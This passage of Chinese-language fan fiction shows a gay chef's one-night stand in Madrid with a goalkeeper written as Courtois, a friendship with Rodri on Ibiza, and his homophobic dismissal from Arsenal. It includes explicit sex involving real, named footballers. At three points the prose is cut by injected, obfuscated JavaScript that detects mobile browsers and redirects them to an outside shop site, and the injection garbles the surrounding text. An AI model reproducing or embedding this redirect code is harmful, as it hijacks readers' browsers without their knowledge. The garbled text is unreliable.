“他的幸福就是一天一个永不重样。”理查德酸溜溜的说。 “要不还是你委屈委屈,咱俩凑一对算了。”保罗半开玩笑的对着理查德挑了挑眉,理查德就给了他一杵子。“我才不要和宅男在一起,虽然我也是个宅男,咱俩在一起只会让生活更无趣。” 令人羡慕的克里奇利同时接到了三个人给他的赠票,赖斯,萨卡和贝林厄姆,明天英格兰主场对希腊,位置还是连坐。 他不知道该答应谁,不过也无所谓答应谁,去了就好像谁都答应了,但他已经买了去马德里的机票。 于是,他回复他们,“我会在别的地方看你(们)比赛,收到我的加油会进球!” 克里奇利是在马德里一家足球酒吧看这场比赛的,他怀里搂着一个板鸭男孩,一边看,一边问他:“看我们英格兰厉害吧!看我们大英帝星帅不帅?” 板鸭男孩努努嘴,抬起蓝色的大眼睛眨巴眨巴的看着他,说:“哥哥,你是来泡吧的还是来看球的?” 克里奇利低头吻了吻男孩的嘴,说:“我当然是来泡你的,不然我这来回2000多的机票不白花了。” 男孩笑了,他说:“那能快点吗?” 克里奇利盯了他三秒,接着把他拖进了洗手间。 马德里的男孩漂亮又时髦,但是他们目的太直接,赚英镑眼皮都不带眨一下的,他收了克里奇利的钱还问他明天有西班牙对瑞士,他也可以陪他看。 克里奇利说,不用了,明天我就去伊维萨岛了,那里的男孩应该不会像你这么会赚钱,逮住一个人薅,老板没教给你不要掏光客人的最后一枚钱币吗? 吃了快餐的克里奇利仍不满足,但这个地方应该是个直人酒吧,不花钱买球搭子还真不太好钓。初来乍到的他还没摸清旅游线路,那些隐藏在深巷里的gay吧他还不想去,毕竟他是来旅行晒黑的,又不是来乱播种的。 他只想找个人陪他一起看球,这在马德里应该不难,但是在马德里找一个愿意听他英吹的有点难。 他回来的时候正好看到希腊打了一个快攻,行云流水般破了英格兰的大门。 “Fuck!”克里奇利皱着眉头骂了一句脏话。 “皮克福德是真菜啊!” 他身后传来一句不太地道的英语,回头看看,酒吧灯光很灰暗,看不清那人的脸,只看到他轮廓很深,鼻梁很高,目测那人坐着将近一米高,两条大长腿随意伸着,一个正常大小的德式啤酒杯在他手里好像一个小巧的儿童杯,说完他漫不经心的扫了克里奇利一眼。 被马德里人鄙视了?不然他干嘛说英语?说他听不懂的西语不是更好?显然,他知道克里奇利是英国人了,刚才和板鸭男孩的对话都被这个长腿男人听去了,不,是长耳男人。 克里奇利瞪他一眼,觉得没必要和他掰扯,他有权发表自己的看法,况且自己上次羞辱那个阿森纳黑子也着实有点过了。 距这个进球不到三分钟,英格兰就发起了猛烈反击,萨卡横传门前,贝林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14369370|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厄姆跟进打进了! “Oh!My Jude!”克里奇利不敢相信,他给了加油的三个人,一个助攻一个进球,真的神了。 “好球!”身后那个大高个子也喊了一声,让克里奇利纳闷他到底是哪一边的球迷。 英格兰扳平比分后势头更加强劲,由赖斯组织的前场进攻一波比一波危险,打穿了希腊防线好几次,这么个狂轰滥炸法,总会有进球的吧。就在比赛第88分钟,赖斯一脚直塞穿过了三个防守球员,贝林厄姆再次抓住机会将球稳稳打进。 “Oh!Yes!”克里奇利激动的从座位上跳起来,当然,他不是唯一一个从座位上跳起来的,酒吧里也有星星点点的英格兰球迷,在为贝林厄姆的进球欢呼着,身后的那个大高个子也没有伪装到底,而是高高的举起了酒杯,喊了一声“Vamos!” 克里奇利回头冲他笑笑表示一个英格兰球迷的友善,那个人则冲他举了举杯。 这也正常,贝林厄姆可是在皇马效力,在马德里拥有一众粉丝还不是轻而易举的事。况且贝林这么优秀,这么帅,谁能不喜欢? 令他没想到的是,他竟然也被人喜欢了,就在这个直人酒吧里,他被身后那个大个子主动搭讪了。 大个子男人坐在他对面,拿了一个空杯子,把手里的酒倒进去一些然后递给他,说了一句:“May I?” 克里奇利来者不拒,端起杯一仰脖干了。说了句thank you,接着起身要走。 大个子男人叫住他,问他,“英格兰球迷?” “是的,不要以为你请我喝了一杯酒,我就要坐下来陪你聊一会儿。” “你误会了,我的意思是我也是英格兰球迷,括号今晚。” “那么你觉得皮克福德不配吗?” “是的,换我的话。” 他说话还真不客气,克里奇利眉头一皱,走过去重新坐下,盯着他的脸,他看上去胡子拉碴,有些沧桑,但还挺帅的,看不出他是哪里人,反正英语不怎么样。他说换他,难道他是一个守门员?克里奇利在脑海中迅速搜索他认识的守门员,无奈他遁入球门的时间还是太短,认识的球星仅限于北伦敦。 高个子男人主动往前凑了凑,正纳闷,他作为一个球迷,怎么会认不出他来?他无论是美名还是臭名都已经远扬四海了。 克里奇利正视着他,突然玩心上来了,我管你是谁,只要是主动和我搭讪的男人,再有那么一点小帅,都只有一个下场,就是被爆。 虽然这是直人酒吧,但他和板鸭小哥的互动都在这个男人面前被看了去,现在这个男人主动过来搭讪,目的也只有一个就是钓他,这一点,克里奇利还是非常自信的。 “Brian Critchley,188,78,24,not my age ,and you?” 高个子男人挑了挑眉露出了不可思议的神情,好像在说真的吗?24?然后他想如果我说出自己的名字,肯定会把他吓个半死,于是他编了一个假的不能再假的名字。 “科特.迪普。” “How deep?I mean how are you Cot Tep?”克里奇利笑的再次露出了他的标志性小虎牙。 12.第 12 章 克里奇利用他那考官一般的眼神打量着面前这个独自一人出来看球喝酒的男人,男人眼睛里难掩寂寞和压抑的神情,看了半天,克里奇利盖棺定论,这老家伙是个深柜! 没别的就为了确认自己的直觉,克里奇利对他说:“那我就陪你喝点吧。” 这个自称迪普的男人说:“我想过你过的那种夜生活。” 克里奇利摸摸下巴,比猫还大的瞳仁盯着男人略显疲惫的脸,说:“我刚来,怎么知道那种夜生活在哪,不如你带我去。” “迪普”假笑一声,说:“我要是能带你去就好了。” 克里奇利微微皱眉,有些嫌弃他的伪装,想又不敢,还来招惹脸上写着“我是gay”的自己,真有点瞧不起他,一夜情都提不起兴致来。 不用说,他们在尬聊。 聊着聊着也能聊到正题上去,毕竟克里奇利是个娴熟的狩猎者,三言两语就聊到了接下来我们该去哪,只要是他认为可以吃的食材,最终都会落入自己盘子中。 克里奇利不想把这只自我封闭的长颈鹿带回他住的小破酒店,主要是不想和比他大一个号的长颈鹿挤一张床,虽然床够大,他还是喜欢小巧一点的,好摆弄。很显然,他也看出来长颈鹿既不想去他那里做客,也不想把他带回家。 “要不,我带你去个地方。”长颈鹿掏出车钥匙,在他面前晃了晃。 “行。”克里奇利一点也没怕他,反而觉得这家伙有点可怜。 深柜装直男,出来看球找乐子不敢去gay吧,好不容易物色了一个英格兰来旅游的陌生人,还是个绝色gay,就把他作为上帝送给自己的礼物,决心满足自己一次另类的自我需求。 克里奇利身经百战,什么样的人他没见过,他就知道这只寂寞难耐的长颈鹿终于找到了可以发泄自我的机会,而他今晚正好可以当这个排忧解难的人。 一上车,克里奇利就明确告诉他,各取所需,哪怕你是库尔图瓦以后都不会再见。这心思正中他下怀,克里奇利可不是那种粘上名人的边就纠缠勒索的人,他简直不要太随意了,他还想别被社会名人给盯上,打扰他正常的鬼混生活。 坐上他车,车子够大,后排可以放倒躺平,克里奇利环视了一圈,系上安全带,说了声:“走吧,长颈鹿。” 男人嘴角下压,瞥了他一眼,什么都没说,一脚油门开出市区。 早在他说自己叫科特迪普的时候,克里奇利就反应过来了,不就是蒂博库尔图瓦反写吗,他想拿手机扫一扫他的脸看看能不能扫出库尔图瓦的资料来,但是没用他扫,库尔图瓦就主动交代了,“你身为一个球迷,怎么能不知道世一门长什么样,还现查吗。” 克里奇利收起手机,笑说:“我从来不好奇别人的身份背景,睡过就忘,再说,各取所需有什么好纠结的,你该庆幸遇到的是我,而不是什么假装不认识你,过后留下你照片的诈\骗犯。” “看来你睡过不少名人了。” “算上你也就七八十个吧。” “呵,你真不简单。” “没有点金刚钻怎么揽瓷器活。” “什么?” “等等,我们到哪了?” “额,一个村庄。” 库尔图瓦把车停在河边,周围不远处就是一个村庄,星星点点的灯火还不足以把河边照亮,偏僻的就算砂仁埋失都不会有人发现。 “呵……至于吗。”克里奇利也不是没打过野战,那是一时兴起和觉得新奇,自从被蚊子咬到过敏,他就不再给自己找罪受了。 “你不知道,马德里的记者跟蚊子一样,嗅着血的味道就来了,我可不想第二天上新闻。” “哎哟!你可真小心,大名人!”这蚊子和蚊子还不一样,一个吃人一个吸血,行吧,来马德里就做点贡献喂喂蚊子吧。 他们在汽车后排互相试探,库尔图瓦一开始还挺拘谨,当克里奇利给了他一个热情的英格兰见面礼——长舌深抵时,他的大手就不由自主地捏紧了英格兰人的腰,另一只手把车座放低,整个上身都埋进了车座里。 车里还是空间太小,特别是对这两个身长都特别长的人,总是伸不开胳膊伸不开腿,考验克里奇利臂力和腰力的时候来了,他整个人像平板支撑一样把胳膊肘架在车座头枕上,垫在长脖子男人的后脑勺下,再把自己嵌在他两腿之间,几乎用两个手肘和两个膝盖支撑住自己全部的身量。 不是特别舒服的姿势,还是让库尔图瓦感到了一些冲击,不由得赞叹了一句:“嗯,小伙子,你确实很能干。” “小伙子?”克里奇利毫不留情地深埋进去,他喘着粗气像干某种粗活,“我叫布莱恩.克里奇利,虽然我可能记不住你,但我希望你能记住我,每次你想找男人的时候,都能想到我,在这漆黑的夜里,空无一人的河边,在你宽敞的吉普车里,让你短暂的忘却你是谁。” “确实,布莱恩,你很会。” 他们的汗水和喘息在狭小的空间里肆意弥漫,库尔图瓦用自己的衣服盖住自己的脸,克里奇利就隔着衣服亲吻他,亲着亲着他感觉身下的人在微微的颤抖,好像在哭。 克里奇利停下动作,问他:“怎么了?不舒服?” 他摇摇头说:“继续。” 还没有一个人被克里奇利的身体力行给弄哭过,他虽然无情,但是很温柔,不管对方什么怪癖,什么性格,只要不是受虐狂,都会获得一次完美的受尊重的杏爱体验。 但他确实在哭。 一轮之后,克里奇利躺在他身边的座椅上,看他拿衣服擦眼泪,十分不解地问他:“到底怎么了?你搞得我都没法再来一轮了。” “跟你无关,你表现的很好。” “内心深处的渴望终于可以有机会填满了,你应该感到高兴才是。”克里奇利不太会安慰人,他只是说实话而已。 “我有妻子。” “唉。”克里奇利提上裤子,准备结束这一次野外邀约,心里有点犯隔应,但是想想,自己事前也没问,只要是主动上钩的,谁还问你有没有男友或是女友啊?何况这还是主动钓他的。他不谈一对一的恋爱,就是不想牵扯这些麻烦。但这个长颈鹿也不是什么好鹿,不敢出柜敢出轨,做完了就后悔吗? “那我们回去吧,我对有妇之夫不感兴趣。” “对不起,可以听我说说话吗?” “……”克里奇利确定今晚是来做慈善的,他不答应也不行啊,他还得指着他把自己送回去呢。 “说说看吧,虽然我可能帮不上什么。” “我结婚了,但当我意识到我还有这方面需求时,已经晚了,我不想破坏现在的生活,但我真的忘不了一个人。” “我猜那个人是个男人。” “是的,我的前任男友,他真的很好,我很爱他,我爱他甚至爱他的一切,包括他的爱人……” “等等。”克里奇利没听明白,这家伙是有多变态,爱他的一切,难道他把人家爱人也睡了? “你最好别告诉我这些狗血的故事,我不想听,如果你想找回前任的感觉,出来,我给你。” 克里奇利不知道为什么,莫名其妙被点燃了无名火,他把高大的库尔图瓦从车里拽出来,压在前引擎盖上,没用什么高科技,直接怼的他双腿发抖想下下不来。 过后,他又哭了,还抱怨,“你不是他,你和他一点都不像。” “他是bottom?” “也不全是,我说的是外貌,性格,感觉,都不像,我不是说你不好,我只是想他,我们那时候天天在一起,很好很和谐,要不是世俗观念和他非要把事业摆在第一位,我也不会做出这么绝情的事。” “所以你和他分了?” “不仅如此。我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14385460|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们分手以后,谁和他好我都要插上一脚,我抢了所有应该属于他的东西,甚至毁了他的名誉。他再也不会理我了,我们彻底完了。我现在特别后悔,也很想念我们曾经在一起的日子。所以我今天看见你,一个单纯的gay,寻欢作乐无所顾忌的样子,我才想要找回那种感觉。” 克里奇利无语了,替代品不是,幻想对象也不是,一眼沦陷更不是,而是一个填满他空虚的工具人,还被他当成垃圾桶疯狂输出。 一路上他都在忏悔,不知道是忏悔对妻子的出轨还是对前男友的愧疚,发音含糊的英语把克里利奇说睡着了。 他把车停在酒店斜对面的一棵大榕树下,还得让克里利奇穿过马路,再走上100多米。 他看着歪着头睡着了的克里奇利,睫毛又密又长,路灯下脸色冷白,头发深褐色,五官立体分明,和他印象中对英格兰人的高颅顶体毛茂密没有嘴唇的形象完全不同,他就好像是从古罗马雕塑中走出来的一样,属于珍稀物种,要是他不走,真担心自己会沦陷于他。 他还不忍心叫醒他,看着他腿上的手机犹豫着自己要不要留个电话号码?最终长叹一声,放弃了,但是他却凑过去亲吻了克里奇利的嘴,这下给他亲醒了。 他睁开眼睛,看见库尔图瓦的脸就在自己脸前不禁打了个寒战,虽然心有不满,还是很绅士的勾住他的脖子,回吻了一下,但库尔图瓦却很抗拒的直往后躲,还四处看了看。 这微妙的动作让克里奇利感觉到有点被冒犯,算了,他本身也是个纠结体,把车停这么远就知道,即使马德里的阳光再炽烈,也晒不干他阴暗潮湿的心,就让他在无尽的挣扎和懊悔中爬行吧。 第二天,他醒来昏昏沉沉的,大概是出了汗被冷风吹了,那也要奔赴下一个地点,伊维萨岛。 一路上他都在打喷嚏流眼泪,心想不应该惩罚我吧,满足了库尔图瓦多年的遗憾,还听他啰嗦一路,怎么还把伤痛引到自己身上了。唉,想想自己大概也是欠了许多情债,就让伊维萨岛的阳光炙烤我吧。 感冒让他头脑发懵的把洗漱包和渔夫帽落在出租车上了,洗漱包里除了剃须刀牙具洗面奶润滑液还有他的每日必用品。 这下好了,别被他看上什么好吃的。 他还是低估了伊维萨岛的阳光,一下车就给他晒得差点晕倒。 他没有选择热门的海水浴场和度假酒店,而是选择了一个小渔村,远离城市更亲近自然的一方静谧,他沿着蜿蜒曲折的乡村小路,路过一排排像白纸糊的砖瓦房,快到海边的时候看到了一个小商店,还好,可以买点丢的东西了他想。 但是当他走进去的时候,发现商店里东西很少,都是一些气垫船,泳衣,钓具还有少量的食品日用品,不是他想象中的超市。正当他问前台的老妇,有没有渔夫帽,剃须刀的时候,发现老妇不会说英语。 “那避孕套就更没有了对吧?”他厚着脸皮比比划划,反正她也听不懂。 这时,从货架后面走过来一个男人,拿着一顶渔夫帽扣在克里奇利的头上,问他:“先生,你要的渔夫帽在这里,剃须刀在哪里,至于避孕套吗,如果你急着用,我可以借你一个,不用还。” 克里奇利看着他面前对他说英语的这个男人,高大挺拔,赤着上身,肌肉很饱满,健康肤色,眼睛是棕色的,头发短带着点自来卷,手里抱着一个冲浪板,看上去幽默又健谈,一听就不是母语的英语带着西班牙和曼彻斯特融合的口音,大概也是来旅游的,他想。 “谢谢,倒是,不怎么急用。”克里奇利摸了摸鼻子,手肘支在货柜上,一双通红的眼睛注视着男人,清晨的光映在克里奇利的眸子里,深绿色的华彩被这个男人看到了,男人心里忍不住赞叹,这个小渔村这么偏僻冷门,要不是自己老家在这,那有什么年轻人会来这里旅游,来这里的都是出海捕捞的,难道他是新来的捕蟹工? 13.第 13 章 就在克里奇利上下打量这个男人的时候,身后一个女声响起:“亲爱的,买完了吗?外面好晒。” “哦,这就来。”男人拍了拍克里奇的肩膀,“有什么需要帮忙的,尽管来找我,我就住在那边的二层楼里。”他指了指海边东边的方向,的确有一个二层楼很显眼,因为这边大多都是平房。 克里奇利也没客气,他估计这里没几个人会说英语,他迅速从兜里掏出一张手绘地图,然后叫住这个一身腱子肉的男人,还对那个女人招招手,表示抱歉再耽误他一分钟,“不好意思,可以告诉我这里怎么走吗?” 男人拿过纸来看了一眼,又翻过来看,最后看明白了,笑着说:“就在我家旁边,是小镇唯一的民宿,其实是给捕蟹工住的。” “罗德里,要不送他一程。”女孩子十分友好的发出邀请,并没有因为克里奇利耽误他们时间而有一点不耐烦。 被叫做罗德里的男人看了看克里奇利,克里奇利表示欣然接受,他付了帽子钱,然后跟他们上了车。 车上闲聊了一会,互相介绍了名字,罗德里问他是来旅游的还是来打工的? 他说:“来旅游的。” 罗德里很好奇,他说,“你是怎么找到这里的?以前来过吗?” “没有,我第一次来西班牙,就是从网上搜哪里人少风景好日光浴时间长,就被指路来到这里了,没想到这里是一个偏僻的小渔村,但沙滩很美,海岸线也足够长,为什么这里不是热门旅游景点呢?” “这里其实是一个生态保护区,除了原住民,还有不怕水深浪大的打工者。” “哦?这样,那我可能进错网站了,旅游网和招聘网都是大大的海景图,点错了。” “哈哈哈…”坐在副驾驶的女孩子发出爽朗的笑声,她说:“还蛮符合你们英国人猎奇和冒险精神的。” “谢谢夸奖,我很喜欢这里,你们是原住民吗?” 前面的小情侣相视一笑,罗德里可能因为来自英格兰伦敦的时髦小伙不认识曼城大腰子而感到有些新奇,女孩子也这么认为,不过他们也是为了躲避喧嚣人群选择回老家疗养的,也不想被人知道。 “嗯,我老家在这,不过我们明天就走了,你要住几天?” “我大概两天,然后就回英格兰。” 他们到了小镇上,这边要比海边发达一些,住的地方楼下还有小餐馆,由于是海边,还有很多捕捞者,餐馆是半自助的,可以加工自己捕捞的海鲜,加上一些米饭,就是香喷喷的西班牙海鲜烩饭。 下午阳光太烈,容易晒伤,克里奇利就在房间里吹空调,但是吹久了也很无聊,而且还会加重他的感冒。他站在阳台上往外看,又看到这对养眼的小情侣,他们正往车上装东西,一些气垫船冲浪板,大概要去海边冲浪,但他看到罗德里走路有点一瘸一拐的,好像受了什么伤,刚才没走几步没发现。 他赶紧下楼去帮他们搬东西。 “嗨,需要帮忙吗?”他伸手接住马上要从气垫船上掉下来的船桨,防止它们掉下来砸到罗德里的脚。 “噢,谢谢你,布莱恩。” “你们要去海边冲浪吗?” “是的,不过是劳拉的冲浪课,她过几天要去参加比赛。” “亲爱的,我只是去玩而已,不要老是提醒我比赛,压力很大的。”劳拉轻轻抱怨着,语气中都是小情侣之间的打情骂俏。 “比赛是催化剂,可怜捞不着参加比赛的我吧,真的快呆长毛了。” 他说到比赛,克里奇利看了看他的腿,想问他是不是参加什么比赛受伤了,但没好意思问。 说着,克里奇利就帮他们把气垫船救生衣冲浪板还有一些装备搬上了后备箱,热的他出了一身汗。 “布莱恩,要不要一起去?”罗德里向他发出邀请。 “不了,我不会。”他婉言谢绝,心想,小情侣度假我跟着掺和什么。 “你只是来晒太阳的话,会辜负了这里的浪花和出海乐趣的。”劳拉也向他发出邀请。 “嗯,这个时间正好是海鸥和鹈鹕就餐的时间,你可以从它们嘴里抢鱼。”罗德里说完,劳拉就笑了,她说:“是啊,罗德里最喜欢干这个,但我们明天就要去法国了,不然还可以带你一起出海,这里的夏威夷贝有手掌那么大,我说的是里面的肉噢!” 法国,比赛,克里奇利头脑一热,顺嘴问了一句,“去法国领金球奖吗?” “噢!!”他俩被他这么一问,一起惊叫了起来。 “哦,不不,我只是被提名而已,还不知道最终花落谁家呢?”罗德里就知道他不可能没有被认出来,但克里奇利并没有表现出很关注的态度,这让他们觉得很舒服,也很乐意去帮助这个初来乍到对这里一无所知的旅行者。 此刻的克里奇利却在想不是吧,他真的要去领金球奖?我这是瞎猫碰上死耗子了,来这么一个鸟不拉屎的地方,还能遇到金球先生,而且他和他的女友就像村里人一样纯朴低调。 他说:“最近我们俱乐部群里一直在讨论这个。” 罗德里上下打量着他,猜测他可能也是个球员吧,于是问他,“俱乐部?你在哪个俱乐部效力?” “阿森纳。” “阿森纳?”罗德里吃惊道,他脑子里迅速搜索阿森纳的球员,但是并不知道有叫布莱恩克里奇利的呀。 “不过不是效力,我只是在那里工作,我是一名厨师。” “哦哦,是这样,我以为你也是球员。”罗德里笑笑,觉得关系又亲近了一点,他说:“一起去海边吧,说来也巧,咱们也算有交集。” 克里奇利觉得有点尴尬,没认出金球先生来,现在想回去拿手机查一查,这个罗德里到底有多牛逼,他说你们去吧,我还得回去换件衣服。 “不用换了,去海边玩穿什么衣服?你不是要晒黑吗,一下午可能晒得比我还黑。”罗德里像个老朋友一样很自然的把他拉上了车。 到了海边,劳拉去冲浪了,罗德里因为腿受伤,只好在沙滩上晒太阳,看克里奇利在和醍醐海鸥抢鱼,那里有一片鱼都搁浅在浅滩上,简直成了捕鱼者的天堂,克里奇利并不是想吃,他只是觉得好玩,他想捡一桶回去炖个海杂鱼给这两个帮助他的人作为回礼。 很快他就捞了一桶,回到沙滩上,罗德里躺在遮阳伞下,两条大长腿露在外面。 “收获不少啊,布莱恩。有没有被鹈鹕夹住头?那东西什么都吃。” “哈哈哈…没有,它们很可爱。” “可爱?他们不仅会夹你的头,还会追着钳你的屁股。” “它们可能照顾我这个外来客,让我捞了一桶,晚上我在小餐馆炖鱼,你们来吃吧。” “好啊,让我也尝尝英国大厨克里奇利先生的手艺。” 罗德里递给他一瓶矿泉水,他们俩在遮阳伞下坐着聊天。 “你从小住在这吗?”克里奇利问。 “嗯,我奶奶家在这,小时候我经常在这踢沙滩足球,后来,爷爷奶奶相继走了,我还是会每年回来看看。” “哦,我很遗憾。” “没关系,过去很多年了,你呢?” “我?”克里奇利坦白说,“我是gay,17岁时被我爸打出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14397811|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,搞笑的是他也是gay,我回去拿东西的时候,他正搂着一个男人和我妈闹离婚呢,后来我再也没回去过。现在,他们可能以为我死了,十几年没有联系了。” “怎么会这样。你恨他们吗?” “过去这么多年了,无所谓了,没有爱又何来的恨?” “你很勇敢。” “勇敢是一个男人的基本属性,只是我喜欢男人。”克里奇利望着他笑笑,“不过,别误会,我也有直男朋友。” “哈哈哈…我很高兴你这么信任我,和我说这些。” “你不也信任我让我上你的车,彼此彼此。” “其实我猜到了。” “嗯?” “你都没多看劳拉一眼,我才对你不设防的。” “嘿,你这…”克里奇利被他说的直想笑,“幸亏劳拉不在这,你可不能这么说,劳拉很有魅力,我也懂得欣赏女人的。” “那么我呢?” “你比钢铁还直。” “哈哈哈哈……” 他们聊的很投入。 过了一会。 “罗德里,你不去陪劳拉吗?”克里奇利感觉劳拉已经离开很久了。 “她自己可以,我腿有点伤。” “怎么弄的?” “长期对抗,前十字韧带撕裂,目前手术完养着,估计要等下个赛季才能复出了。” “真遗憾,不过,我可以让你缩短病程。” “啊?什么?” “回英国我给你做一份食谱,按照食谱吃,会好的快一些,不过,不知道会不会让你提前回去拉磨受累。” “哈哈哈,不要听网友的,我不是驴,我是大老虎!” “网友?” “可爱的中国网友为了夸我勤奋,给我起的外号,拉磨的驴。” 克里奇利在心里笑,他能体会中国网友的玩梗,无非就是队里最吃苦耐劳还任劳任怨的,跟那头德国小驴不同,那是爱屋及乌加上脸长。 这时劳拉夹着冲浪板披着一身阳光回来了,克里奇利站起来走过去帮她把冲浪板接过来,放进箱子里,又递给她一瓶水,劳拉笑着接过来,说了声谢谢,还拍了拍克里奇利的胳膊,说:“不错嘛,不像某人,都不知道过来接一下。” 克里奇利笑笑,说:“为美女服务是我的荣幸,他已经享受这个荣幸很久了。” “看看,罗德里,你嘴可没受伤。” “好啦,我错了,宝贝。” 罗德里欠了欠身子,把劳拉拢过来亲了一口。 晚上,克里奇利真的炖了一锅鱼汤,付了饭钱让餐馆老奶奶歇着,自己炒了几个菜,叫罗德里,劳拉一起用餐。 罗德里早就饿了,他提前下来坐在餐馆里等着吃好吃的,克里奇利也很快就把美味饭菜端上了桌。 克里奇利问劳拉怎么还没来,罗德里说:“她在做晒后修复。” 罗德里看了一眼克里奇利的后背,发出一声惊叫,“天哪,布莱恩,你后背晒伤了,疼不疼?” “疼。” 罗德里接着给劳拉打了个电话,说让她把晒后修复啫喱拿过来。 劳拉很快就把自己名贵的晒后修复啫喱贡献出来,罗德里也毫不客气的把这两瓶护肤品全都涂在克里奇利的后背上。 冰凉中和了火辣,小餐馆里三个人的温馨晚餐吃的舒适又开心。 这个假期令克里奇利感到难忘,虽然他没有乱用小方塑料袋,却意外收获了一对非常友善也乐于接受他的好朋友。 谁知,回到阿森纳就遭遇了一场职场意外。 14.第 14 章 克里奇利晒了一身古铜色,心满意足的回到伦敦。 谁知等待他的不是热情的欢迎和温柔的想念,而是劈头盖脸的质问和指责。 他上班第一天就被叫到人事总监的办公室,一把照片摔在桌子上。 “克里奇利先生!请你解释一下,这是怎么回事!”人事总监迈克.加兰手指重重的敲着桌子。 克里奇利拿起桌上的照片一张一张看过去,嘴角蔓延起令人难以捉摸的笑容,笑的有点慎人。 他说:“把我拍的这么帅简直是犯罪。” 迈克几乎被他吊儿郎当的应对方式给气晕过去。他很严肃的指责克里奇利,“你给我个解释,为什么没告诉我你是这种人,你要对这件事负责。” 克里奇利本来没打算发火,但这个人带着明显歧视的态度和语气,还叫他负责,他说:“我肝你没对你负责?抱歉,我肝的人太多了,都是你情我愿的一夜情,如果我对你没兴趣,那么我做的这些事就他妈跟你无关!” 迈克听了暴跳如雷,他唰的站起来,把身后的椅子顶到后面的橱柜上发出了砰的一声巨响。他指着克里奇利的鼻子骂道:“你知不知道你在跟谁说话?我可以立刻让你滚蛋!faggot!” “我还用你让,我想不干就不干,你又没保养我,你也没那个能力,因为我看不上你,老的都快撅不起来了吧!” “保安!保安!”他气的上蹿下跳,接着拿起电话拨通了保安室的电话,还没等电话接通,克里奇利一摔门扬长而去。 照片拍的是他和朋友们在Nice彻夜狂欢,和舞男调情,又在舞池里和几个guys吻成一团。这就是他生活的真实写照,他从未掩饰,招聘公告也没有写入职需要说明自己是不是gay,他敢写就有侗组织告的他倾家荡产,传出去英超豪门阿森纳歧视txl群体,可不是闹着玩的。 但现在克里奇利显然受到了攻击和歧视,他没想到人事总监是这么个嘴脸,他更没想到是谁给他穿的小鞋。难道是那个闲的蛋疼的西餐主厨,不好好钻研菜品,整天想着干掉竞争对手,就用这? 好吧,这的确奏效了。 过后,阿森纳人事部一个助理给他打电话说让他来办一下离职手续,说他不适合从事餐饮行业。 克里奇利说你要这么说的话,可不只是赔我违约金这么简单的事了。 那边说,“抱歉,克里奇利先生,对外肯定不会说是这个原因,我们会说你因为另谋高就而选择离开。我们俱乐部小,怎么能耽误您更大的发展呢?” “Fuck!”克里奇利挂掉电话,心里还是一窝子火,他要是据理力争还是会让这个事有的发酵,但他也不想搞的自己混不下去,但事实上,他的确在伦敦混不下去了。 罗德里领完了金球奖,接着收到了克里奇利发给他的营养食谱。 罗德里给拉亚打电话,拉亚是他国家队的门将,也是阿森纳的门将。 罗德里问他:“你们俱乐部有一个叫布莱恩克里奇利的吗?” 拉亚说:“有啊!不会吧,罗德里,我们俱乐部什么事你也打听,我都不敢接你电话了。” 罗德里笑他太过于小心谨慎,说只是刚认识的一个朋友,人很不错,想叫你帮忙照应一下。 拉亚说:“这没问题,不过,他好几天没来上班了,听说辞职不干了,不过具体原因我不知道,刚来一个月干的挺好的,我们都爱吃他做的菜。” 罗德里挂了电话,也是有点好奇,他接着给克里奇利打过去。 “嗨,最近过得怎样,我的朋友?” “嗨,罗德里,就那样,挺好的,你呢?有没有好一点?” “我正要说,我吃了几天你给的食谱,觉得浑身都有劲儿了,劳拉说她快受不了我了。” “哈哈哈…我给你的是补筋骨的,可不是壮羊的。” “总之,很好,就是不是出自你手,总觉得差点什么。” “有机会给你调理调理,不过也不能盲目信我,毕竟我不是中医,还有食谱也要定期调一下。” “好,布莱恩,我要付你多少钱,我查了,你这个级别的厨师,可不是随随便便就给别人食谱的。” “罗德里,你说什么呢,是朋友就别说这话,连谢都别说,咱们在伊维萨岛虽然只见了两面,但你就像我一个相处了很久的老朋友。” “好,把我当朋友是吧?” “当然了。” “那你告诉我,为什么从阿森纳离职了?” “……”克里奇利拿着手机的手一抖,差点没把手机掉地上,他说,“没什么,不想通勤了。” 罗德里不信,说,“你之前和我说给球员们炖大骨汤,把他们喝的油光铮亮,满满的都是成就感,怎么能说不干就不干了,是不是遇到什么困难?不把我当朋友的话,可以不说。” “罗德里。”克里奇利不知道为什么,这么糟心的事他都没跟那两个好基友说,但面对罗德里的关心,他突然改变想法想告诉他自己被欺负了。 他说:“有人拍了我的不雅照,然后我就以txl罪被开除了。但是不用为我感到伤心,他们会赔我双倍的违约金。” “wtf!”罗德里听了直接骂了一句脏话。 沉默了一会,罗德里接着说,“我就有一种不好的预感,不过这也未必是坏事,布莱恩,你来曼城吧。” 